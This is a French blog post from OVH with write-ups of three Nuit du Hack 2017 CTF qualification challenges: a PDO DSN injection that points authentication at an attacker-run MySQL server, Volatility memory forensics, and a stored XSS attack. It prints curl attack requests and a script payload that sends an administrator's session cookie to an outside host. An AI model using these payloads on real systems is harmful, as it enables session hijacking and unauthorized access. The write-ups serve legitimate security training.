Quals Nuit du Hack 2017 : les write-up de nos 3 challenges favoris

Le samedi 1er avril se jouaient les épreuves de qualification (quals) pour la quinzième Nuit du Hack. Pour la 4e année consécutive, OVH soutient cette convention de sécurité informatique française. Nos équipes, en plus d’aider à l’organisation de l’événement, ont pris l’habitude de venir s’y mesurer aux meilleurs experts en cybersécurité français, européens et même mondiaux, dans le cadre de challenges toujours plus inventifs. Nous avons souhaité partager les write-up de nos 3 challenges favoris, parmi les 22 épreuves du CTF des qualifications. Cette année encore, le niveau était très haut. Félicitations aux vainqueurs et merci aux organisateurs ! <img src="https://www.ovh.com/fr/files/wp_import/shall-we-play-a-game-NDK-OVH.png" alt="" /> Par Sébastien Mériot et Stéphane Lesimple. <h2>WhyUNOKnock</h2> <hr /><p><strong>ERPay is a new ERP management application. You can now steal money from your employees and add the money directly on your bank account !</strong></p> <p><strong>Points: 250</strong> <strong> Category: Web</strong> <strong> Validations: 49</strong></p> <hr /> L'URL du challenge nous conduit à une page d'authentification comportant 3 champs : identifiant, mot de passe et groupe. Quand nous postons le formulaire, nous remarquons qu'une requête POST est faite sur le script <em>auth.php</em>, lequel nous répond par un HTTP 302 redirect. En inspectant les données que notre navigateur envoie à l'aide de <em>Firebug</em>, nous remarquons également qu'un champ invisible est également transmis : <em>go</em>. En fait, ce champ est complètement inutile et ne servira en aucun cas à résoudre l'épreuve. Étant donné que le JavaScript est quelque peu désagréable et nous interdit d'entrer tout ce que nous voulons dans les champs, j'ai choisi d'utiliser <em>curl</em>. Bien entendu, <em>Burp</em>, <em>TamperData</em> ou d'autres outils pouvaient également permettre de résoudre l'épreuve. Je copie donc le POST du navigateur sous le format <em>curl</em> pour commencer. [pastacode lang="bash" manual="%24%20curl%C2%A0%20-i%20-XPOST%20%22http%3A%2F%2Fwhyunoknock.quals.nuitduhack.com%2Fauth.php%22%20-d%0A%22login%3Dtest%26password%3Dtest%26group%3Dusers%26go%3D%22" message="" highlight="" provider="manual"/] Étant donné que nous sommes en présence d'un formulaire, testons la vulnérabilité des champs à des failles de type SQL Injection. Pour ce faire, on ajoute quelques apostrophes qui font généralement plutôt bien le travail en provoquant des erreurs immondes en cas de vulnérabilité. [pastacode lang="bash" manual="%24%20curl%20%20-XPOST%20%22http%3A%2F%2Fwhyunoknock.quals.nuitduhack.com%2Fauth.php%22%20-d%0A%22login%3D'%26password%3D'%26group'%26go%3D'%22%0APDOException%20%3A%201044" message="" highlight="" provider="manual"/] Une erreur ! Parfait, nous sommes sur la bonne voie. L'exception PDO 1044 signifie "<em>Access denied for user.</em>" En supprimant les apostrophes champ par champ, j'isole le champ qui est effectivement vulnérable : <em>group</em>. On a donc le champ <em>group</em> qui génère l'erreur "<em>Access denied for user</em>". C'est très intéressant car cette erreur survient si on essaie de se connecter à une base de données. Est-ce que cela signifierait que le champ <em>group</em> est une variable servant à générer le DSN (Data Source Name) ? En effet, le constructeur de PDO n'accepte que des DSN et se présente sous la forme suivante : [pastacode lang="php" manual="new%20PDO(%22schema%3Ahost%3D%3Bdbname%3D%3B...%22)" message="" highlight="" provider="manual"/] Par curiosité, regardons s'il nous est possible de déterminer quel est le SGBD utilisé. Étant donné que nous contrôlons le DSN, nous pouvons forcer le port à utiliser et donc parcourir les ports des SGBD les plus connus : MySQL (3306), PostgreSQL (5432)... [pastacode lang="bash" manual="%24%20curl%C2%A0%20-XPOST%20%22http%3A%2F%2Fwhyunoknock.quals.nuitduhack.com%2Fauth.php%22%20-d%20%22login%3Droot%26password%3Dhello_world%26group%3Dadmins%3Bport%3D5432%26go%3D%22%0APDOException%20%3A%202002%0A%0A%24%20curl%C2%A0%20-XPOST%20%22http%3A%2F%2Fwhyunoknock.quals.nuitduhack.com%2Fauth.php%22%20-d%20%22login%3Droot%26password%3Dhello_world%26group%3Dadmins%3Bport%3D3306%26go%3D%22%0APDOException%20%3A%201044" message="" highlight="" provider="manual"/] Ok, l'erreur 2002 signifie que la connexion ne peut pas être établie. Nous sommes donc très vraisemblablement en présence d'une base MySQL étant donné que l'erreur est restée identique en utilisant le port 3306. A à ce stade, nous pouvons donc affirmer que le code vulnérable contenu dans <em>auth.php</em> est de la forme : [pastacode lang="php" manual="new%20PDO(%22mysql%3Ahost%3D%3Bdbname%3D%22%20.%20%24group%2C%20%24db_user%2C%20%24db_pass)%3B" message="" highlight="" provider="manual"/] Intéressant. Et maintenant? Si nous arrivons à faire en sorte que le serveur utilise notre propre base de données pour nous authentifier, nous aurons un cookie valide qui aura été créé par le serveur et nous pourrons alors peut-être utiliser ce cookie pour naviguer dans cet ERP pas très bien codé. Je teste en forçant l'hôte de la base de données à pointer sur un serveur que je contrôle. Pour m'assurer que la connexion s'effectue bien, j'écoute sur le port les connexions entrantes via un script Python maison. Mais j'aurai très bien pu utiliser <em>netcat</em>. [pastacode lang="markup" manual="%24%20curl%C2%A0%20-XPOST%20%22http%3A%2F%2Fwhyunoknock.quals.nuitduhack.com%2Fauth.php%22%20-d%20%22login%3Droot%26password%3Dhello_world%26group%3Dadmins%3Bport%3D3306%3Bhost%3D%3Cmy-host%3E%26go%3D%22%0APDOException%20%3A%202002%0A%0A%24%20tail%20conn.log%0AConnection%20addr%3A%C2%A0%20('163.172.102.12'%2C%2050478)" message="" highlight="" provider="manual"/] Ça marche ! Prochaine étape, récupérer les identifiants ! Je lance un conteneur MySQL dans un Docker et je capture le trafic à l'aide de <em>tcpdump</em>. Ainsi, je devrais être capable de voir comment PDO se connecte à notre instance. Je transfère le pcap et je l'ouvre avec <em>Wireshark</em> qui reconnaît nativement le protocole MySQL. On met donc en évidence que le script php essaie de se connecter à la base <em>admins</em> avec l'identifiant <em>erpay</em>. Malheureusement, on voit aussi qu'il utilise le <em>mysql_native_password</em> qui n'est pas vulnérable (ou alors on ne me l'a pas dit), contrairement à sa version précédente. Ça risque d'être un peu compliqué de récupérer le mot de passe... Idée de génie de mon collègue ! Utiliser l'option magique de MySQL <em>skip-grant-tables</em>. Cette option permet de récupérer son mot de passe <em>root</em> en cas d'oubli en autorisant n'importe quel utilisateur à se connecter avec n'importe quel mot de passe. Plutôt pratique dans notre cas ! Bon je vais quand même mettre quelques iptables aussi, car c'est un peu openbar tout ça... [pastacode lang="bash" manual="%23%20echo%20skip-grant-tables%20%3E%3E%20%2Fetc%2Fmysql%2Fmy.cnf%0A%23%20%2Fetc%2Finit.d%2Fmysqld%20restart" message="" highlight="" provider="manual"/] Maintenant que nous avons complètement ouvert notre MySQL, voyons ce que donne le <em>curl</em> ! [pastacode lang="bash" manual="%24%20curl%20%20-XPOST%20%22http%3A%2F%2Fwhyunoknock.quals.nuitduhack.com%2Fauth.php%22%20-d%20%22login%3Droot%26password%3Dhello_world%26group%3Dadmins%3Bport%3D3306%3Bhost%3D%26go%3D%22%0APDOException%20%3A%201049" message="" highlight="" provider="manual"/] Une nouvelle exception que nous ne connaissions pas : "<em>Unknown Database.</em>". Oups ! J'ai oublié de créer la base de données <em>admins</em>. [pastacode lang="sql" manual="mysql%20%3E%20CREATE%20DATABASE%20admins%3B" message="" highlight="" provider="manual"/] [pastacode lang="bash" manual="%24%20curl%20%20-XPOST%20%22http%3A%2F%2Fwhyunoknock.quals.nuitduhack.com%2Fauth.php%22%20-d%20%22login%3Droot%26password%3Dhello_world%26group%3Dadmins%3Bport%3D3306%3Bhost%3D%26go%3D%22%0APDOException%20%3A%2042S02" message="" highlight="" provider="manual"/] On approche du but ! Une nouvelle erreur qui nous informe que "<em>Base table of view not found</em>". Une nouvelle fois, on fait appel aux services de <em>tcpdump</em> pour extraire la requête SQL qui nous est envoyée. A partir de là, nous pourrons créer le schéma et insérer les données qui permettront de satisfaire à la requête. [pastacode lang="sql" manual="mysql%3E%20CREATE%20TABLE%20logins%20(%20id%20int%2C%20login%20varchar(32)%2C%20password%0Avarchar(512))%3B%0Amysql%3E%20insert%20into%20logins%20values%20(1%2C%20'root'%2C%0A'35072c1ae546350e0bfa7ab11d49dc6f129e72ccd57ec7eb671225bbd197c8f1')%3B" message="" highlight="" provider="manual"/] [pastacode lang="bash" manual="%24%20curl%20-i%20-XPOST%20%22whyunoknock.quals.nuitduhack.com%2Fauth.php%22%20-d%20%22login%3Droot%26password%3Dhello_world%26group%3Dadmins%3Bport%3D3306%3Bhost%3D%26go%3Dtrue%22%0AHTTP%2F1.1%20200%20OK%0ADate%3A%20Sat%2C%2001%20Apr%202017%2017%3A52%3A15%20GMT%0AServer%3A%20Apache%2F2.4.10%20(Debian)%0AVary%3A%20Accept-Encoding%0AContent-Length%3A%2069%0AContent-Type%3A%20text%2Fhtml%3B%20charset%3DUTF-8%0A%0ANDH%7B5a8af1adbfc05b56e424052706022db0e51b971471e1e74a0abb899b7074e06c%7D" message="" highlight="" provider="manual"/] Et voilà !   <hr /><h2>Bender Bending Rodriguez</h2> <strong>The new co-worker looks weird. He behaves like he is hiding something on his computer. We discreetly dumped the memory of his computer from SSH, in the hope to learn more. But we don't know much what to do with it. Can you help us?</strong> <strong>The system is an <code>Ubuntu 16.04, x64.</code></strong> <strong>Points: 75</strong> <strong> Category: Forensics</strong> <strong> Validations: 25</strong> <hr /> Le texte explicatif de l'épreuve nous met en situation : quelqu'un semble cacher quelque chose sur son PC d'entreprise, mais on ne sait pas vraiment quoi. Les administrateurs du parc ont pu faire un dump de la RAM discrètement via SSH, et nous demandent de passer le dump au peigne fin. Plutôt violent et/ou douteux comme méthode, mais jouons le jeu ! On pense immédiatement à <em><a href="http://www.volatilityfoundation.org/releases">Volatility</a></em>, un framework d'outils open source permettant de faire du forensic à partir de dumps de RAM. Pour pouvoir l'utiliser, en revanche, <em>Volatility</em> a besoin d'avoir des informations précises sur le système qui a été dumpé, pour pouvoir savoir où se trouvent les structures du kernel en RAM et donc savoir comment interpréter le dump. Ces informations sont spécifiques à chaque build du kernel (et pas juste à chaque version). L'énoncé indique seulement que la machine est une Ubuntu en 64 bits. Ce n'est pas suffisant : il nous faut le kernel exact... en espérant qu'il s'agit bien d'un kernel Ubuntu Vanilla facilement récupérable sur Internet ! S'il a été compilé à la main, cela pourrait s'avérer beaucoup plus difficile. Un petit coup d’œil au dump nous donne une information : [pastacode lang="bash" manual="%24%20strings%20dump.img%20%7C%20grep%20BOOT_IMAGE%3D%0ABOOT_IMAGE%3D%2Fboot%2Fvmlinuz-4.4.0-57-generic%20root%3DUUID%3Dde431cbb-73e1-4942-a466-780c37c6fa29%20ro%20quiet%20splash" message="" highlight="" provider="manual"/] Il s'agit bien d'un kernel Ubuntu classique. Mais on a besoin d'être encore plus précis, en cherchant encore un peu à coup de grep, on tombe sur la chaîne complète d'information du kernel : [pastacode lang="bash" manual="Linux%20version%204.4.0-57-generic%20(buildd%40lgw01-54)%20(gcc%20version%205.4.0%2020160609%20(Ubuntu%205.4.0-6ubuntu1~16.04.4)%20)%20%2378-Ubuntu%20SMP%20Fri%20Dec%209%2023%3A50%3A32%20UTC%202016%20(Ubuntu%204.4.0-57.78-generic%204.4.35)" message="" highlight="" provider="manual"/] Il s'agit donc de la 78e compilation (#78) du <em>kernel 4.4.0-57-generic</em>. Il n'y a plus qu'à trouver le .deb correspondant. <a href="http://packages.ubuntu.com/search?keywords=linux-image-4.4.0-57-generic" target="_blank">http://packages.ubuntu.com/search?keywords=linux-image-4.4.0-57-generic</a> On a de la chance, il s'agit de la version courante du kernel sur la <em>Ubuntu 16.04 LTS</em>. Si ça n'avait pas été le cas, on aurait probablement pu retomber quand même sur le bon .deb sur un des miroirs pas forcément à jour, ou qui garde les anciens paquets. On installe donc une <em>Ubuntu 16.04</em> dans une VM, et on la met à jour pour bénéficier de la bonne version du kernel. Une fois que c'est fait, il s'agit de construire le profil de ce kernel, qui pourra être utilisé par <em>Volatility</em>. Le <a href="https://github.com/volatilityfoundation/volatility/wiki/Linux" target="_blank">wiki de <em>volatility</em></a> l'explique plus en détails, mais il s'agit principalement de compiler pour le kernel cible un module kernel fourni par <em>Volatility</em>, avec les symboles de debug, puis de dumper les informations <em>DWARF</em> du module. Il faut donc aussi installer les headers du kernel cible, pour nous permettre de pouvoir compiler le module de <em>Volatility</em>. L'autre partie du profil correspond au <em>System.map</em> du kernel, créé à la compilation du kernel et fourni dans notre .deb de kernel Ubuntu. En résumé, donc : [pastacode lang="bash" manual="%24%20apt-get%20install%20dwarfdump%20build-essential%20linux-headers-generic%20git%0A%24%20git%20clone%20https%3A%2F%2Fgithub.com%2Fvolatilityfoundation%2Fvolatility.git%0A%24%20cd%20volatility%2Ftools%2Flinux%0A%24%20sudo%20make%20-C%20%2Flib%2Fmodules%2F4.4.0-57-generic%2Fbuild%20CONFIG_DEBUG_INFO%3Dy%20M%3D%24PWD%20modules%0A%24%20dwarfdump%20-di%20.%2Fmodule.o%20%3E%20module.dwarf%0A%24%20sudo%20zip%20Ubuntu1604-4.4.0-57.zip%20module.dwarf%20%2Fboot%2FSystem.map-4.4.0-57-generic" message="" highlight="" provider="manual"/] Le zip "<em>Ubuntu1604-4.4.0-57.zip</em>" que nous venons de créer est donc le profil <em>volatility</em> correspondant à notre dump de RAM. Plaçons-le dans un répertoire "profiles" : [pastacode lang="bash" manual="%24%20mkdir%20profiles%0A%24%20cp%20volatility%2Ftools%2Flinux%2FUbuntu1604-4.4.0-57.zip%20profiles%2F" message="" highlight="" provider="manual"/] Reste maintenant à exploiter le dump avec <em>volatility</em> (nous avons au préalable récupéré la version déjà compilée de <em>volatility</em> pour Linux) : [pastacode lang="bash" manual="%24%20~%2Fvolatility_2.6_lin64_standalone%20--plugins%3Dprofiles%2F%20--profile%3DLinuxUbuntu1604-4.4.0-57x64%20-f%20dump.img%20--cache%20linux_pslist" message="" highlight="" provider="manual"/] Voilà la commande qui permet par exemple de récupérer la liste des processus qui étaient lancés au moment du dump. Le profil permet de <em>volatility</em> d'aller chercher cette information exactement au bon endroit dans le dump ! On peut de la même façon retrouver le <em>.bash_history</em>, le <em>dmesg</em>, la liste des fichiers ouverts... bref plein de choses très intéressantes pour du forensic. Mais revenons à l'épreuve. Certains process nous mettent la puce à l'oreille : [pastacode lang="bash" manual="2658%20%20%201000%20%20%201000%20%20%20%2Fusr%2Flib%2Ffirefox%2Ffirefox%0A2757%20%20%201000%20%20%201000%20%20%20%2Fusr%2Flib%2Ffirefox%2Fplugin-container%20%2Fusr%2Flib%2Fflashplugin-installer%2Flibflashplayer.so%20-greomni%20%2Fusr%2Flib%2Ffirefox%2Fomni.ja%20-appomni%20%2Fusr%2Flib%2Ffirefox%2Fbrowser%2Fomni.ja%20-appdir%20%2Fusr%2Flib%2Ffirefox%2Fbrowser%202658%20true%20plugin%0A2778%20%20%201000%20%20%201000%20%20%20%2Fusr%2Fbin%2Fpython%20%2Fusr%2Fbin%2Fgnuradio-companion%0A4203%20%20%201000%20%20%201000%20%20%20%2Fusr%2Fbin%2Fpython%20-u%20%2Fhome%2Fbob%2Ftop_block.py" message="" highlight="" provider="manual"/] Le plugin flash est probablement quelque chose à regarder, mais l'utilisation de <em>gnuradio-companion</em> est plus douteuse encore : notre ami ferait-il de la radio amateur pendant ses heures de travail ? En utilisant le module "<em>linux_lsof</em>" (de la même façon que <em>linux_pslist</em> ci-dessus), on constate que l'un des deux process python a un descripteur de fichier d'ouvert sur : [pastacode lang="bash" manual="0xffff88007b496900%20python%20%204203%20%20%20%2029%20%2Ftmp%2Ftest.wav" message="" highlight="" provider="manual"/] Très intéressant ! Reste donc à essayer de récupérer ce fichier. Comme un filehandle est ouvert dessus, il est fort probable qu'il soit aussi en RAM. Regardons si <em>Volatility</em> peut nous retrouver l'inode de ce fichier : [pastacode lang="bash" manual="%24%20~%2Fvolatility_2.6_lin64_standalone%20--plugins%3Dprofiles%2F%20--profile%3DLinuxUbuntu1604-4.4.0-57x64%20-f%20dump.img%20--cache%20linux_find_file%20-F%20%2Ftmp%2Ftest.wav%0AVolatility%20Foundation%20Volatility%20Framework%202.6%0AInode%20Number%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Inode%20File%20Path%0A----------------%20------------------%20---------%0A1441801%20%20%20%20%20%20%20%20%20%200xffff88007c65de38%20%2Ftmp%2Ftest.wav" message="" highlight="" provider="manual"/] Puis on demande à <em>volatility</em> de nous l'extraire du dump : [pastacode lang="bash" manual="%24%20~%2Fvolatility_2.6_lin64_standalone%20--plugins%3Dprofiles%2F%20--profile%3DLinuxUbuntu1604-4.4.0-57x64%20-f%20dump.img%20--cache%20linux_find_file%20-i%200xffff88007c65de38%20-O%20test.wav" message="" highlight="" provider="manual"/] On se retrouve avec un fichier qui a l'air valide : [pastacode lang="bash" manual="%24%20ls%20-l%20test.wav%20%0A-rw-r--r--%201%20speed%20speed%202060288%20Apr%20%201%2017%3A37%20test.wav%0A%20%0A%24%20file%20test.wav%20%0Atest.wav%3A%20RIFF%20(little-endian)%20data%2C%20WAVE%20audio%2C%20Microsoft%20PCM%2C%2016%20bit%2C%20mono%2024000%20Hz" message="" highlight="" provider="manual"/] On essaie de l'ouvrir avec VLC... ça marche ! Mais la qualité est atroce, il faut mettre son casque, jouer un peu avec <em>Audacity</em>, et écouter plusieurs fois. Il s'agit d'un message qui passe en boucle. <pre>"[...]ach1Xay8G. Well done, the flag is: xaach1Xay8G. Well done, the flag is: xaach1Xay8G. Well done, [...]"</pre> Il s'agit bien d'un "cee" au milieu du flag, et non pas d'un "tee", ce que j'ai compris les 50 premières écoutes... mais qui ne validait pas ! Morale : si vous faites de la radio amateur, s'il vous plaît, achetez du matériel de qualité, ça évitera à ceux qui vous espionnent d'avoir mal au crâne ;) <hr /><h2>Purple Posse Market</h2> <strong>Description</strong> <strong> You work for the government in the forensic department, you are investigating on an illegal website which sells illegal drugs and weapons, you need to find a way to get the IBAN of the administrator of the website.</strong> <strong>Points: 200</strong> <strong> Category: Web</strong> <strong> Validations: 147</strong> <hr /> Ce site très charmant nous propose d'acheter des produits quelque peu illicites. Dans un premier temps, nous essayons d'en commander en injectant différents payloads dans les champs pour identifier d'éventuelles vecteurs d'attaque mais... cela ne donne rien. Sur la page de contact, nous voyons qu'il est possible de laisser un mail et que l'administrateur est actuellement en ligne. Intéressant ! Par curiosité, nous essayons de voir s'il n'y aura pas une section d'administration. Nous trouvons effectivement l'URL suivante: http://purplepossemarket.quals.nuitduhack.com/admin Une page de login ! Serait-elle vulnérable ? Après avoir tenté d'injecter les mêmes payloads que précédemment, nous nous rendons vite à l'évidence : cette page ne semble pas vulnérable et il va falloir trouver une autre façon de nous identifier. Remettons les éléments que nous avons ensemble : - l'administrateur est actuellement en ligne ; - on peut envoyer un mail à l'administrateur ; - il y a une interface d'administration. L'indication que l'administrateur est en ligne veut sans doute dire qu'il consulte les messages via l'interface d'administration. Et si on tentait de lui voler son cookie de session ? Tentons une petite CSRF à l'aide d'une simple balise <em>img</em>.[pastacode lang="markup" manual="%3Cimg%20src%3D%22http%3A%2F%2F%3Cmy-host%3E%2Fndh2k17%22%3E%3C%2Fimg%3E" message="" highlight="" provider="manual"/] Il ne reste plus qu'à patienter... et au bout de 5 interminables secondes, mon <em>access.log</em> me dit enfin que je suis sur la bonne voie ! <pre>163.172.102.12 - - [01/Apr/2017:16:32:18 +0200] "GET /ndh2k17 HTTP/1.1" 404 504 "http://localhost:3001/admin/messages/2394/" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.11"</pre> Ajoutons un vrai payload à notre message afin de voler le cookie de session de l'administrateur. [pastacode lang="markup" manual="%3Cscript%3E%0Anew%20Image().src%3D%22http%3A%2F%2F%3Cmy-host%3E%2Fndh2k17%3Fcookie%3D%22%2BencodeURI(document.cookie)%3B%0A%3C%2Fscript%3E" message="" highlight="" provider="manual"/] Le verdict tombe quelques secondes plus tard: <pre>163.172.102.12 - - [01/Apr/2017:16:49:03 +0200] "GET /ndh2k17?cookie=connect.sid=s%253AMyFQwgTYgWGRJROBMk-PgEbPwRUzKJ2A.Hty8R0KTGxOwkJjaPRvcOYeGWpDg7t8NZH6Eje0o6BI HTTP/1.1" 200 337 "http://localhost:3001/admin/messages/2459/" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"</pre> Nous y sommes ! J'injecte ce cookie dans mon navigateur et je m'empresse d'aller sur la page page d'administration trouvée précédemment. <strong>Personal informations :</strong> <strong> Full name: Robert leanDoer</strong> <strong> Bitcoin address: 15RTaerruoxS64hA8WitQEzSv3MZe4p2AGL</strong> <strong>Address: 17 Rue de la colline, 59100 Roubaix</strong> <strong> Funds transfer informations :</strong> <strong> IBAN : IBAN FR14 2004 1010 0505 0001 3M02 606</strong> <strong> BIC : CRLYFRPP</strong> <strong> BANK CODE : 2004101005</strong> <hr /> Rendez-vous à Disneyland Paris les 24 et 25 juin 2017 pour la Nuit du Hack 2017, dont OVH est sponsor Platinum. Plus d'informations ici :  <a href="https://www.nuitduhack.com/fr" target="_blank">nuitduhack.com/fr</a> <blockquote> <p dir="ltr" lang="fr" xml:lang="fr" xml:lang="fr">Merci à <a href="https://twitter.com/ovh_fr">@ovh_fr</a> d'être Sponsor Platinum de la <a href="https://twitter.com/hashtag/ndhXV?src=hash">#ndhXV</a> ! Nous sommes heureux de vous avoir comme partenaires cette année encore ! <a href="https://t.co/frcpEx5ast">pic.twitter.com/frcpEx5ast</a></p> — Hackerzvoice (@hackerzvoice) <a href="https://twitter.com/hackerzvoice/status/820934217450266624">16 janvier 2017</a></blockquote>